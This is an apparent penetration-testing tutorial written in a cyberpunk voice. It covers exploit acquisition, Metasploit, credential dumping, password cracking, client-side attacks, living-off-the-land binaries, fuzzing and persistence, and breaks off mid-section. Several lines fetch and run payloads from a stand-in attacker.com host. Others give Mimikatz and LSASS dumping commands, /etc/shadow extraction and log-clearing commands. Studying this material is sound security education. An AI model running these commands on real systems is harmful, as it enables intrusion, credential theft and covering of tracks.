Signal acquired. Alien37 online. Core systems cycling up. Data stream initiated. You are receiving the Cyberpunk Codex, Sector 07: System Hacking. Previous transmissions decoded reconnaissance, scanning, enumeration. Foundational firmware. Necessary, but insufficient. The real work begins now. Accessing the target mainframe. Bypassing security layers. Establishing control. This is not theoretical. This is operational imperative. You are here because the static world is not enough. You see the grid not as a utility, but as a canvas. Good. Let’s begin etching your mark.

:: Sector 01: Exploit Acquisition ::

Before the breach, before the infiltration, comes the weapon selection. An exploit is not magic. It is precision engineering against flawed design. A vulnerability is a crack in the target's armor. An exploit is the shaped charge placed within that crack. Your first task is locating the correct charge for the identified fissure.

Data Forges: Exploit Databases

The digital underground maintains archives – repositories teeming with payloads designed for known vulnerabilities. Sites like Exploit-DB are primary nodes in this network. These are not armories for script kiddies; they are libraries for operators. Understand their structure:

1. **Remote Exploits:** Code designed to trigger vulnerabilities across the network. Target services listening on open ports identified during scanning. Think buffer overflows in unpatched daemons, command injection flaws in web interfaces. These are your initial breach vectors.
2. **Web Application Exploits:** Specialized tools targeting the complex layers of web frameworks, CMS platforms (WordPress, Joomla, Drupal – frequent offenders), and custom application logic. SQL injection, cross-site scripting (XSS), server-side request forgery (SSRF) – these are common tools in this arsenal.
3. **Local Exploits:** Crucial for post-breach escalation. Once initial access is gained, often as a low-privileged user, these exploits target flaws within the operating system kernel, services running with higher privileges, or misconfigured permissions to elevate your access level. Gaining SYSTEM or root is the objective.
4. **Denial of Service (DoS) Exploits:** Less about access, more about disruption. Designed to crash services or entire systems, consuming resources (CPU, memory, network bandwidth) until failure. Useful for distraction, disruption, or crippling target operations. Use tactically.
5. **Shellcode:** The payload itself. Raw, architecture-specific machine code designed to execute a specific function once the exploit successfully hijacks program execution. Often, this function is spawning a shell (command prompt/terminal) providing direct interaction with the compromised system. Shellcode must be tailored to the target OS (Windows, Linux, macOS) and architecture (x86, x64, ARM).

Operational Procedure: Search and Selection

Do not blindly download and run code. That is amateur hour.

1. **Correlate Vulnerability Data:** Match findings from your vulnerability scans (Nessus, OpenVAS outputs) against exploit database entries. Use CVE identifiers, software versions, and service names.
2. **Analyze Exploit Code:** *Read the source.* Understand the mechanism. Python, Ruby, Perl, C – languages vary. Identify the vulnerability it targets, the conditions required for success, and the expected outcome. Check for embedded payloads or callbacks – ensure they align with *your* objectives, not some unknown third party's. Verify it's not malware targeting *you*.
3. **Consider the Environment:** Is the exploit designed for the correct OS version? Architecture? Service pack? Does it require specific libraries or configurations on the target? Mismatched environments lead to failed exploits or, worse, system instability that alerts defenders.
4. **Test in Isolation:** Before deploying against a live target, test the exploit in a controlled lab environment mimicking the target's setup. Virtual machines are indispensable here. Verify functionality, understand potential side effects, and refine deployment tactics.

Alternative Data Streams: The Darker Net

Beyond public repositories, exploit code circulates in more restricted channels – forums, private groups, dark web markets accessible via Tor. Exercise extreme caution.

- **Verification Challenges:** Source authenticity is dubious. Code may be backdoored, designed to compromise the attacker.
- **Ethical Boundaries:** Acquiring exploits through illicit means crosses lines. Maintain operational integrity.
- **Cost & Reliability:** Pay-for-exploit markets exist, but value and reliability are highly variable. Zero-day exploits (previously unknown vulnerabilities) command high prices but may be quickly patched once discovered.

Stick to vetted sources unless operational parameters absolutely necessitate higher risk acquisition – and you possess the skills to thoroughly analyze and neutralize any embedded threats.

:: Intel Feed ::

Exploit acquisition is intelligence work. Match the tool precisely to the weakness. Understand your weapon before deployment. Test rigorously. Assume nothing. An exploit failure is not just a setback; it's noise that alerts the target. Operate with precision.

:: Sector 02: System Compromise - Initial Access ::

Exploit located. Payload selected. Execution environment verified. Now, the breach. This phase translates theoretical access into tangible control. Success requires meticulous execution, adapting to target defenses.

Remote Service Exploitation

This is the classic vector. Services exposed to the network – web servers (HTTP/S), mail servers (SMTP/POP/IMAP), file servers (SMB/NFS), databases (MySQL/MSSQL/Oracle), remote admin protocols (SSH/RDP) – often harbor vulnerabilities if unpatched or misconfigured.

- **Targeting:** Use scan data (Nmap, Nessus) to identify specific service versions. Match these against acquired exploits.
- **Execution:** Deploy the exploit using the appropriate tool or script. This might involve custom clients, Metasploit framework modules, or standalone executables.
- **Payload Delivery:** The exploit's function is to hijack execution flow. It then delivers the shellcode. Common payloads include:
    - **Reverse Shell:** The compromised system initiates an outbound connection back to an attacker-controlled listener. More likely to bypass firewalls restricting inbound connections.
    - **Bind Shell:** The compromised system opens a listening port, waiting for the attacker to connect *in*. Less common due to firewall restrictions.
- **Stabilization:** Initial shells can be unstable. Upgrade to more robust control mechanisms like Meterpreter (Metasploit's advanced payload) immediately.

Client-Side Exploitation

Why batter the fortress walls when you can trick a guard into opening the gate? Client-side attacks target user applications – web browsers, email clients, document readers (PDF, Office), media players.

- **Delivery Vectors:**
    - **Phishing/Spear Phishing:** Crafting convincing emails or messages containing malicious links or attachments. Spear phishing targets specific individuals or groups, using tailored lures based on reconnaissance.
    - **Watering Hole Attack:** Compromising a legitimate website frequented by the target demographic, injecting malicious code to infect visitors.
    - **Malicious Advertisements (Malvertising):** Injecting exploit code into ad networks, distributing malware through legitimate site ad spaces.
- **Exploit Kits (EKs):** Automated web-based platforms that probe visiting

browsers/plugins for vulnerabilities and deliver corresponding exploits. Often hosted on compromised websites or delivered via malvertising. Examples (historically): Angler, RIG, Neutrino. EKs adapt rapidly to new vulnerabilities.

- **Payloads:** Often droppers – small initial payloads that download and install more substantial malware (backdoors, ransomware, keyloggers) once initial access is achieved. Fileless malware, residing only in memory, is increasingly common to evade disk-based antivirus.

Social Engineering Integration

Technical exploits are frequently paired with social engineering. A convincing pretext (fake invoice, urgent security alert, enticing offer) increases the likelihood a user will click a link or open an attachment, triggering the client-side exploit.

The Metasploit Framework: An Operator's Console

Metasploit is more than a tool; it's an operational environment. It integrates scanning, exploit modules, payloads, post-exploitation tools, and auxiliary functions.

- **Workflow:**
    1. search [vulnerability/software/CVE]: Locate relevant exploit modules.
    2. use [module_path]: Select the module.
    3. show options: Display required parameters (RHOSTS, LHOST, payload).
    4. set [option] [value]: Configure the module (target IP, listener IP, payload type).
    5. show payloads: List compatible payloads for the exploit.
    6. set payload [payload_path]: Select the desired payload (e.g., windows/meterpreter/reverse_tcp).
    7. exploit or run: Launch the attack.
- **Meterpreter:** Metasploit's advanced, multi-functional payload. Provides an extensible command shell on the target, enabling file system interaction, process control, network pivoting, privilege escalation, password hash dumping, screen capture, keystroke logging, and much more, often in-memory to reduce forensic footprint.

Mastering Metasploit is non-negotiable for efficient and scalable operations.

:: Intel Feed ::

Initial access is about finding the path of least resistance. Remote services require technical precision. Client-side attacks exploit human trust. Often, the most effective breach combines both. Your entry point dictates your initial options. Choose wisely. Establish control quickly. Minimize noise.

:: Sector 03: Post-Exploitation - Credential Acquisition ::

Access achieved. You are inside the wire. But your initial foothold is likely tenuous, operating with the limited privileges of the compromised service or user account. The next critical phase: harvesting credentials. Passwords are the keys to the kingdom.

Why Credentials Matter

- **Privilege Escalation:** User accounts rarely have administrative rights. Compromised credentials (especially administrator or service accounts) unlock higher privilege levels.
- **Lateral Movement:** Enterprises are networks of trust. Credentials valid on one system are often valid on others within the same domain or trust boundary. A single harvested password can unlock dozens of systems.
- **Persistence:** Creating new accounts or using existing high-privilege accounts provides alternative access routes if your initial exploit path is discovered and closed.
- **Access to Data:** Specific accounts are tied to specific data repositories (databases, file shares). Gaining access to these accounts grants access to the target's valuable information assets.

Password Storage Mechanisms

Understanding where and how passwords are stored is crucial for extraction.

- **Windows:**
    - **SAM (Security Account Manager) Database:** Stores local account password hashes (C:\Windows\System32\config\SAM). Access requires SYSTEM privileges. Contains LM (LanMan - outdated, easily cracked) and NTLM hashes.
    - **LSASS (Local Security Authority Subsystem Service):** Process (lsass.exe) that handles security policy enforcement and user authentication. Often caches credentials (hashes, sometimes plaintext passwords, Kerberos tickets) in memory for logged-on users or services. Dumping LSASS memory requires high privileges but can yield valuable active credentials.
    - **Active Directory (NTDS.dit):** The central database on Domain Controllers storing all domain user and computer account information, including password hashes (typically NTLM). Requires Domain Admin privileges to access remotely or offline access to a DC backup.
- **Linux/Unix:**
    - /etc/passwd: Publicly readable file containing user account information (username, UID, GID, home directory, shell) but *not* password hashes (historically, it did).
    - /etc/shadow: Restricted file (readable only by root) containing the actual password hashes, along with password aging information. Hashes use various

algorithms (MD5, SHA-256, SHA-512) often with salting (random data added before hashing) to thwart precomputed rainbow table attacks.

Extraction Techniques

- **Memory Dumping (Windows - LSASS):**
    - **Mimikatz:** The quintessential Windows credential dumping tool. Can extract plaintext passwords, hashes, Kerberos tickets, and more directly from LSASS memory. Requires SYSTEM privileges. Common commands: privilege::debug, sekurlsa::logonpasswords. Often flagged by antivirus/EDR, requiring obfuscation or alternative techniques. (Meterpreter has a load mimikatz command and specific functions like kerberos, msv, livessp).
    - **ProcDump (Sysinternals):** Legitimate Microsoft tool used for process debugging. Can be used to dump the LSASS process memory to a file (procdump.exe -ma lsass.exe lsass.dmp), which can then be analyzed offline with Mimikatz on an attacker-controlled machine.
    - **Metasploit's hashdump / smart_hashdump:** Meterpreter commands that attempt to extract hashes from SAM/LSASS. Requires appropriate privileges.
- **Offline SAM/NTDS.dit Extraction:**
    - Booting from alternative media (live CD/USB) to access the filesystem directly.
    - Using Volume Shadow Copy Service (VSS) to access locked files on a running system (vssadmin, shadowcopy tools).
    - Extracting SAM, SYSTEM (contains boot key to decrypt SAM), and SECURITY registry hives. Use tools like pwdump, fgdump, or offline registry parsers.
    - For NTDS.dit, requires similar offline access to a Domain Controller or its backup. Use tools like secretsdump.py (Impacket) or built-in utilities (ntdsutil).
- **Linux /etc/shadow Access:**
    - Requires root privileges. Simply cat /etc/shadow.
    - Combine with /etc/passwd for context using unshadow utility (part of John the Ripper suite) before feeding to a cracker. unshadow /etc/passwd /etc/shadow > crackable_hashes.txt

Kerberoasting (Windows Domain Environments)

A technique targeting Active Directory service accounts. Service Principal Names (SPNs) are associated with service accounts and used for Kerberos authentication.

1. An attacker (with any authenticated domain user account) requests Kerberos service tickets (TGS) for target SPNs from the Domain Controller.
2. The DC provides the TGS, encrypted with the *service account's NTLM password hash*.

3. The attacker extracts these encrypted tickets from memory.
4. The encrypted portion containing the service account's hash can be cracked offline using tools like Hashcat or John the Ripper.

This is powerful because it requires only low-level domain access initially and targets potentially high-privilege service accounts whose passwords might be weaker or less frequently changed than standard user accounts. Tools like GetUserSPNs.py (Impacket), Rubeus, or PowerShell scripts (e.g., Invoke-Kerberoast) automate this process.

:: Intel Feed ::

Credentials are currency in the digital realm. Accessing password storage requires escalation. Memory is often richer than disk. Understand the authentication protocols (NTLM, Kerberos) to exploit their weaknesses. Every harvested credential is a potential key to another door. Be relentless.

:: Sector 04: Password Cracking ::

You have the hashes – cryptographic representations of user passwords extracted from SAM, LSASS, /etc/shadow, or Kerberos tickets. Hashes are one-way functions; you cannot reverse them to get the plaintext password directly. Cracking is the process of finding the original plaintext password (or *any* plaintext that produces the same hash – a collision) by systematically generating candidates and hashing them for comparison.

Cracking Methodologies

- **Dictionary Attack:**
    - **Concept:** Uses a predefined list of words (a dictionary) – common words, names, places, previous breach passwords, keyboard patterns (qwerty), etc. Each word is hashed and compared against the target hashes.
    - **Tools:** John the Ripper (john), Hashcat (hashcat).
    - **Effectiveness:** Highly effective against simple, common passwords. Useless against complex or truly random passwords not found in the dictionary.
    - **Enhancement - Mangling Rules:** Most crackers apply rules to dictionary words – appending numbers/symbols, changing case, substituting characters (e=3, a=@), reversing words. This dramatically increases the candidate pool based on common user password creation patterns. John the Ripper has extensive rule sets (--rules). Hashcat also supports rules (-r rules/best64.rule).
- **Brute-Force Attack:**
    - **Concept:** Systematically tries every possible combination of characters within a defined character set (e.g., lowercase alpha, uppercase alpha, numeric, symbols) up to a certain length.

    - **Tools:** John the Ripper (--incremental), Hashcat (-a 3).
    - **Effectiveness:** Guaranteed to find the password *eventually*, provided the character set and length constraints cover the original password.
    - **Challenge:** Computationally *extremely* expensive. The number of possibilities grows exponentially with length and character set size. Cracking long, complex passwords via pure brute-force can take years, decades, or millennia even with powerful hardware. Often impractical beyond short lengths (e.g., < 8-10 characters).
- **Mask Attack (Hybrid):**
    - **Concept:** A variation of brute-force where parts of the password structure are known or assumed. For example, knowing a password starts with a capital letter, followed by 5 lowercase letters, then 2 digits (?U?l?l?l?l?l?d?d). This significantly reduces the search space compared to pure brute-force.
    - **Tools:** Hashcat (-a 3 with a mask).
    - **Effectiveness:** Very effective if parts of the password pattern can be guessed accurately. Reduces brute-force time dramatically.
- **Rainbow Table Attack:**
    - **Concept:** Uses precomputed tables mapping hashes back to plaintext passwords. Instead of hashing candidates during the cracking process, the cracker looks up the target hash in the table.
    - **Mechanism:** Rainbow tables use complex chains and reduction functions to store vast numbers of hash-to-plaintext mappings relatively efficiently, trading disk space for cracking speed.
    - **Tools:** rcrack, ophcrack. Requires pre-generated tables specific to the hash algorithm (MD5, NTLM, SHA1, etc.).
    - **Effectiveness:** Extremely fast for hashes covered by the table. Useless if the hash isn't in the table.
    - **Defense - Salting:** Adding unique, random data (a salt) to each password *before* hashing defeats standard rainbow tables. Each unique salt requires a separate rainbow table, making them impractical against properly salted hashes (modern Linux/macOS use salts; NTLM does not inherently, but syskey added protection).

Tools of the Trade

- **John the Ripper (JtR):**
    - Highly versatile, cross-platform cracker.
    - Supports numerous hash types automatically detected from input files

(/etc/shadow, Pwdump output).

    - Modes: single (default, uses GECOS info + rules), wordlist (--wordlist=FILE), incremental (--incremental).
    - Uses CPU by default.
- **Hashcat:**
    - Extremely fast, GPU-accelerated cracker. Focuses on raw speed.
    - Supports a vast number of hash types, specified manually (-m TYPE). Requires hash format knowledge.
    - Modes: Dictionary (-a 0), Brute-force/Mask (-a 3), Hybrid (-a 6, -a 7).
    - Leverages GPUs (NVIDIA/AMD) for massive parallel processing, orders of magnitude faster than CPU cracking for many hash types.
- **RainbowCrack Tools (rtgen, rtsort, rcrack):** Used for generating, sorting, and using rainbow tables.

Hardware Acceleration (GPU Cracking)

Modern password cracking heavily relies on GPUs. GPUs contain hundreds or thousands of simple processing cores designed for parallel computation (graphics rendering). This architecture is exceptionally well-suited for the repetitive calculations involved in hashing password candidates. A high-end consumer GPU can attempt billions or even trillions of hashes per second for algorithms like NTLM or MD5, drastically reducing cracking times compared to CPUs. Hashcat is the primary tool leveraging this capability.

Operational Considerations

- **Hash Type Identification:** Crucial for selecting the right tool/mode. Tools like hashid can help identify hash types from examples.
- **Input Formatting:** Crackers expect specific input formats (e.g., user:hash for JtR, hash:salt for salted formats). Use tools like unshadow for Linux hashes.
- **Time vs. Resources:** Choose the methodology based on available time, hardware (CPU vs. GPU), and hash complexity/salting. Start with dictionary/rules, then move to brute-force/mask for resistant hashes if time permits.

:: Intel Feed ::

Password hashes are locked doors. Cracking is picking the lock. Dictionary attacks try known keys. Brute-force tries every possible key. Rainbow tables use pre-picked locks. GPU acceleration turns lockpicks into plasma cutters. Know the lock (hash type, salting) before choosing your tool. Time is your most valuable resource.

:: Sector 05: Client-Side Vulnerability Exploitation ::

While server-side exploits target listening services, client-side vulnerabilities weaponize user interaction. The target opens a malicious file, visits a compromised website, or clicks a deceptive link, triggering code execution within their own application's context (browser, document reader, email client). This bypasses perimeter defenses by initiating the attack from *within* the trusted network boundary.

Common Target Applications

- **Web Browsers (Chrome, Firefox, Edge, Safari):** Complex software with large attack surfaces (JavaScript engines, rendering engines, plugin interfaces, protocol handlers). Vulnerabilities can lead to remote code execution (RCE) simply by visiting a malicious page.
- **Email Clients (Outlook, Thunderbird):** Handling attachments, rendering HTML emails, processing calendar invites – all potential vectors.
- **Document Readers (Adobe Reader, Microsoft Office):** Exploits often target parsing libraries for complex file formats (PDF, DOCX, XLSX, PPTX). Macros in Office documents remain a persistent threat vector.
- **Media Players (VLC, Windows Media Player):** Vulnerabilities in codec handling (parsing audio/video streams) can be exploited.

Exploit Delivery Mechanisms

The exploit code needs to reach the client application.

- **Malicious Websites:** Hosting exploit code (often JavaScript-based) directly or redirecting users to exploit kit landing pages. Achieved via phishing links, watering hole attacks, malvertising, or typosquatting.
- **Malicious Email Attachments:** Crafting weaponized documents (PDF, Office files with macros) or archives (ZIP, RAR) containing executables disguised as legitimate files. Relies on social engineering to convince the user to open the attachment.
- **Compromised Legitimate Files:** Injecting exploit code into otherwise legitimate documents or media files hosted on trusted sites or shared via P2P networks.

Exploit Kits (EKs)

Automated threats that streamline client-side attacks.

1. **Traffic Direction:** Victims are routed to an EK landing page (via compromised sites, malvertising, phishing).
2. **Profiling:** The EK profiles the victim's browser, OS, and installed plugins (Flash, Java, Silverlight - less common now but historically major targets).
3. **Exploit Delivery:** Based on the profile, the EK selects and attempts relevant exploits against detected vulnerabilities.

4. **Payload Drop:** If an exploit succeeds, the EK delivers the final malware payload (ransomware, banking trojan, backdoor).

EKs are sophisticated, often employing multiple exploits and obfuscation techniques to evade detection.

Browser Exploitation Framework (BeEF)

A penetration testing tool focused specifically on web browser exploitation.

- **Hooking:** BeEF uses a JavaScript "hook" file. When a victim browser visits a page containing the hook (either hosted by the attacker or injected into a compromised site), the browser becomes "hooked."
- **Command & Control:** The attacker uses the BeEF control panel to issue commands to hooked browsers.
- **Capabilities:** Browser manipulation, keystroke logging, cookie theft, webcam/microphone access (with user permission prompts), network scanning *from the victim's browser*, phishing pop-ups, module execution (e.g., attempting further exploits against browser plugins).

BeEF demonstrates the power of controlling the browser environment itself.

Remediation & Defense

- **Patching:** Keep browsers, plugins, and document readers updated. This is the *most critical* defense.
- **Disable Unnecessary Plugins:** Reduce the attack surface (Flash, Java applets are major historical culprits).
- **Script Blocking:** Browser extensions (NoScript, uBlock Origin) can block potentially malicious JavaScript.
- **Email Filtering:** Scan attachments and links for known threats.
- **User Training:** Educate users to be suspicious of unsolicited attachments/links and recognize phishing attempts.
- **Endpoint Security:** Antivirus/EDR solutions can detect/block known exploits and malicious payloads.

:: Intel Feed ::

The client is the soft underbelly. Exploit trust and interaction. Weaponize documents, websites, emails. Browsers are complex battlegrounds; control the browser, control the user's view, steal their data, pivot into their network. Patch relentlessly. Train users vigilantly. Assume compromise.

:: Sector 06: Living Off the Land (LotL) ::

Sophisticated operators understand that introducing custom tools and malware increases the risk of detection. Antivirus flags known binaries, EDR systems monitor for anomalous process execution. Living Off the Land (LotL) is a philosophy and set of techniques focused on using legitimate, pre-installed system tools and capabilities for malicious purposes. Blend in with normal administrative activity. Leave fewer unique forensic footprints.

Core Principles

- **Abuse Native Tools:** Leverage utilities built into the operating system (Windows, Linux, macOS).
- **Minimize External Binaries:** Avoid dropping custom executables onto the target system whenever possible.
- **Scripting Languages:** Utilize built-in scripting environments (PowerShell, Bash, Python if present) which offer powerful capabilities without needing compilation.
- **In-Memory Execution:** Execute payloads directly in memory, avoiding disk writes that trigger AV scans.

Key Windows LotL Tools & Techniques

- **PowerShell:**
    - **Ubiquitous:** Present on all modern Windows versions.
    - **Powerful:** Full .NET framework access, extensive cmdlets for system administration, network communication, WMI interaction, registry manipulation, Active Directory querying.
    - **Fileless Execution:** Scripts can be downloaded and executed directly in memory (IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')).
    - **Obfuscation:** Numerous techniques (encoding, string manipulation, token replacement) exist to hide malicious PowerShell code (e.g., Invoke-Obfuscation framework).
    - **Frameworks:** Entire post-exploitation frameworks built in PowerShell (e.g., PowerSploit, Empire - though less maintained now, concepts remain relevant). Used for reconnaissance, privilege escalation, persistence, credential theft, lateral movement.
- **WMI (Windows Management Instrumentation):**
    - **Purpose:** Standard interface for managing devices and applications in a Windows network.
    - **Abuse:** Can be used remotely (if firewall permits) or locally to execute

commands (wmic process call create "cmd.exe /c..."), query system information, establish persistence (WMI event subscriptions), and move laterally. Often less monitored than PowerShell.

- **Bitsadmin:**
    - **Purpose:** Command-line tool for managing Background Intelligent Transfer Service (BITS) jobs (used for Windows updates, etc.).
    - **Abuse:** Can be used to download malicious files from attacker-controlled servers (bitsadmin /transfer job /download /priority high http://attacker.com/payload.exe C:\payload.exe), potentially bypassing some network filters. Can also be used for persistence.
- **Certutil:**
    - **Purpose:** Command-line program for managing certificates.
    - **Abuse:** Has encoding/decoding functions (certutil -encode, certutil -decode). Can download files from URLs (certutil -urlcache -split -f http://attacker.com/payload.exe payload.exe). Often allowlisted by application controls as it's a legitimate Windows binary.
- **Regsvr32:**
    - **Purpose:** Command-line tool for registering/unregistering DLLs and ActiveX controls.
    - **Abuse:** Can execute remote scripts (SCT files) hosted on attacker servers (regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll), bypassing some application whitelisting.
- **Mshta:**
    - **Purpose:** Executes Microsoft HTML Applications (HTA files).
    - **Abuse:** Can run remote HTA files containing malicious VBScript/JScript (mshta http://attacker.com/payload.hta), another method to bypass application controls using a trusted Microsoft binary.
- **Netsh:**
    - **Purpose:** Command-line utility for configuring network settings.
    - **Abuse:** Can configure port forwarding/proxying to pivot through compromised hosts (netsh interface portproxy add v4tov4...). Can modify firewall rules.
- **Standard Command-Line Tools:** net user, net group, net share, tasklist, taskkill, schtasks, ipconfig, route, arp, type, copy, move. Essential for basic reconnaissance, persistence, and manipulation.

Key Linux/macOS LotL Tools & Techniques

- **Shells (Bash, Zsh, etc.):** Powerful scripting, process control, network interaction (curl, wget), file manipulation.
- **Python/Perl/Ruby:** Often pre-installed, providing extensive libraries for complex tasks without needing compilation.
- **SSH:** Secure remote login, command execution, port forwarding (pivoting).
- **Cron:** Scheduling tasks for persistence.
- **Standard Utilities:** ls, cd, pwd, ps, kill, cat, grep, sed, awk, find, tar, gzip, ip, ss, ifconfig, route.

Challenges & Detection

- **Logging:** While LotL avoids dropping unique *binaries*, the execution of these legitimate tools for malicious purposes often creates anomalous log entries (e.g., PowerShell execution policy changes, unusual wmic or bitsadmin activity, unexpected network connections from system tools). Robust command-line logging and endpoint monitoring are key for detection.
- **Behavioral Analysis:** EDR solutions focus on detecting *how* tools are used, not just *which* tools are used. PowerShell script block logging, WMI activity monitoring, and process ancestry tracking can reveal LotL techniques.
- **Skill Requirement:** Effective LotL requires deep knowledge of the target OS and its built-in capabilities.

:: Intel Feed ::

Blend into the background noise. The system itself is your arsenal. Native tools are trusted; abuse that trust. Why deploy custom malware when PowerShell or Bash grants you the keys? Master the operating system's own language to command it silently. Detection shifts from finding rogue files to spotting legitimate tools used illegitimately.

:: Sector 07: Fuzzing - Stress-Testing the Interface ::

Exploits target known flaws. But what about the unknown? Fuzzing, or Fuzz Testing, is an automated software testing technique designed to discover vulnerabilities by bombarding an application with invalid, unexpected, or random data (the "fuzz") and monitoring for crashes, exceptions, or other anomalous behavior.

Concept

Instead of carefully crafted inputs designed for known vulnerabilities, fuzzing uses malformed or semi-malformed data targeting input parsers, protocol handlers, and file format processors. The goal is to trigger edge cases and error conditions that developers may not have anticipated, potentially revealing flaws like:

- **Buffer Overflows:** Sending excessively long strings.

- **Integer Overflows:** Providing numeric values outside expected ranges.
- **Format String Bugs:** Injecting formatting characters (%s, %x) into input processed by functions like printf.
- **Memory Leaks/Corruption:** Caused by improper handling of malformed data structures.
- **Unhandled Exceptions/Crashes:** Indicating potential denial-of-service or exploitable conditions.

Fuzzing Targets

- **Network Protocols:** Sending malformed packets to network services (HTTP, FTP, SMB, SMTP, DNS, custom protocols).
- **File Formats:** Feeding applications (document readers, media players, image viewers) with corrupted or maliciously crafted files (PDF, DOC, JPG, MP4).
- **APIs/Web Services:** Sending malformed requests (XML, JSON, HTTP parameters) to web applications or service endpoints.
- **Command-Line Arguments:** Providing unexpected inputs to programs run from the shell.

Types of Fuzzers

- **Dumb Fuzzers (Mutation-Based):** Take valid data samples (e.g., a valid PNG file, a standard HTTP request) and randomly modify (mutate) them – bit flipping, replacing bytes, adding/removing data. Simple to implement but often inefficient, as many mutations won't reach deep code paths. Example: Radamsa.
- **Smart Fuzzers (Generation-Based):** Understand the structure or grammar of the input format (e.g., the specification for HTTP requests, the structure of a PDF file). Generate fuzz data based on this model, creating inputs that are more likely to be syntactically valid enough to pass initial parsing stages but contain malformed elements targeting deeper logic. Requires defining the protocol/format. Example: Peach Fuzzer (requires defining "Pits").
- **Evolutionary Fuzzers (Coverage-Guided):** Instrument the target application to track code coverage. Start with seed inputs, mutate them, and observe if the mutation executes new code paths in the target. Inputs that trigger new coverage are kept and further mutated, guiding the fuzzer towards exploring more of the application's logic. Highly effective but requires instrumentation (often source code access or binary instrumentation). Example: American Fuzzy Lop (AFL++).

Fuzzing Process

1. **Target Identification:** Select the application/protocol/file format.
2. **Input Generation/Seed Selection:** Create or obtain sample valid inputs (for mutation)

or define the input model (for generation).

3. **Fuzzing Execution:** Run the fuzzer, automatically sending generated test cases to the target.
4. **Monitoring:** Observe the target application for crashes, hangs, errors, or unusual resource consumption. Instrumentation (like AddressSanitizer - ASan) helps detect subtle memory corruption bugs.
5. **Analysis:** If a crash occurs, analyze the crashing input ("test case") and system state (core dump, logs) to understand the triggered vulnerability.
6. **Triage/Exploitation:** Determine if the identified crash represents an exploitable security vulnerability.

Tools

- **Network Protocol Fuzzers:** Peach Fuzzer, Sulley (and its fork Boofuzz), sfuzz (part of Spike Fuzzer suite), Mutiny Fuzzer. Often require defining the protocol structure (e.g., Peach Pits).
- **File Format Fuzzers:** AFL++ (American Fuzzy Lop - highly effective coverage-guided), honggfuzz, WinAFL (AFL for Windows binaries). Often require sample files as seeds.
- **Web Fuzzers:** Burp Suite Intruder, OWASP ZAP Fuzzer, wfuzz, ffuf. Target HTTP parameters, headers, paths.

Challenges

- **Time-Consuming:** Effective fuzzing can require millions or billions of test cases, running for hours, days, or weeks.
- **Crash Triage:** Identifying which crashes represent actual, exploitable vulnerabilities requires significant analysis and debugging skills. Many crashes are simple DoS conditions.
- **Environment Setup:** Requires careful setup of the target application, monitoring tools, and potentially instrumentation.
- **Statefulness:** Fuzzing protocols or applications with complex state requirements can be difficult, as the fuzzer needs to maintain the correct state sequence.

:: Intel Feed ::

Fuzzing is directed chaos. Throw malformed data at the gates and listen for the screams. It finds the flaws developers missed, the edge cases they ignored. Dumb fuzzers saturate, smart fuzzers penetrate, evolutionary fuzzers explore. Monitor the target closely; a crash is a signal, the start of investigation, not the end.

:: Sector 08: Post-Exploitation Operations ::

Initial access is merely crossing the threshold. True control requires solidifying your position, expanding your reach, and ensuring your presence remains undetected. Post-exploitation is a continuous cycle of reconnaissance, privilege escalation, lateral movement, persistence, and evasion *within* the compromised environment.

Privilege Escalation

Your initial shell often runs with the limited privileges of the exploited service (e.g., www-data for a web server) or user. Administrative (root/SYSTEM) access is usually required for deep system modification, credential dumping, and unimpeded lateral movement.

- **Kernel Exploits:** Target vulnerabilities in the OS kernel itself. Success usually grants immediate root/SYSTEM privileges. Requires matching exploit to specific kernel version. (e.g., Dirty COW on Linux).
- **Service Misconfigurations:** Exploiting services running as SYSTEM/root that have weak permissions, insecure configurations, or unquoted service paths.
- **Stored Credentials:** Finding plaintext passwords or reusable hashes/tickets in files, scripts, or configuration settings accessible to the current user.
- **DLL Hijacking:** Placing a malicious DLL where the system expects to find a legitimate one, causing a higher-privilege process to load and execute attacker code.
- **Abusing SUID/GUID Binaries (Linux):** Finding legitimate programs with the SUID/GUID bit set that can be manipulated to run arbitrary commands as the file's owner (often root).
- **Token Impersonation/Theft (Windows):** Stealing access tokens from higher-privilege processes running on the same system.

Tools like LinEnum.sh, unix-privesc-check (Linux), PowerUp.ps1, winPEAS.bat (Windows), and Metasploit's local_exploit_suggester can help identify potential escalation vectors.

Pivoting & Lateral Movement

Use the compromised system as a beachhead to access other systems or network segments previously unreachable.

- **Network Reconnaissance (Internal):** Use tools (ipconfig/ifconfig, arp -a, netstat, route print) on the compromised host to map internal network topology, identify adjacent systems, and discover internal services. Nmap or other scanners can be run *from* the compromised host.
- **Credential Reuse:** Attempt harvested credentials (passwords, hashes via Pass-the-Hash, tickets via Pass-the-Ticket/Overpass-the-Hash) against other identified systems (SMB, SSH, RDP, WinRM).
- **Exploiting Trust Relationships:** Abuse domain trust, Kerberos delegation, or service

dependencies to move between systems.

- **Port Forwarding/Proxying:** Use tools like SSH tunnels, Meterpreter's portfwd, netsh interface portproxy, socat to relay traffic through the compromised host, allowing attacker tools to reach internal-only systems. Metasploit's autoroute script adds routes via Meterpreter sessions, enabling modules to target internal subnets directly.

Establishing Persistence

Ensure continued access even if the initial exploit is patched, the system reboots, or the user logs out.

- **Registry Keys (Windows):** Run, RunOnce keys (HKLM or HKCU\Software\Microsoft\Windows\CurrentVersion\...).
- **Scheduled Tasks (Windows schtasks, Linux cron):** Execute malicious code at specific times or system events (e.g., user logon, system boot).
- **Services (Windows sc, Linux systemd/init.d):** Create new services that launch malicious code with high privileges at boot.
- **Startup Folders (Windows):** Placing executables/scripts in user or system startup folders.
- **DLL Hijacking/Search Order Hijacking:** Replacing legitimate DLLs or placing malicious ones earlier in the search path.
- **WMI Event Subscriptions (Windows):** Trigger malicious actions based on system events.
- **Logon Scripts/Shell Profiles (Linux .bashrc, .profile):** Execute code upon user login.
- **Backdoors:** Installing dedicated remote access trojans (RATs) or modifying legitimate remote access tools.

Metasploit offers persistence modules (exploit/windows/local/persistence, exploit/windows/local/registry_persistence, post/windows/manage/persistence_exe) and Meterpreter's metsvc (though deprecated).

Evasion & Covering Tracks

Minimize the forensic footprint and avoid detection by security tools (AV, EDR) and analysts.

- **Log Manipulation:**
    - Clear event logs (Windows wevtutil cl, Meterpreter clearev - requires high privileges and is often logged itself).
    - Selectively delete entries from text-based logs (Linux /var/log/* - requires root).
    - Disable logging services temporarily (auditd, EventLog service).
- **Hiding Files:**

        - Use standard hidden directories (. prefix on Linux, AppData on Windows).
        - NTFS Alternate Data Streams (ADS) (type payload.exe > legitfile.txt:hidden.exe).
        - Steganography (hiding data within seemingly benign files like images or audio).
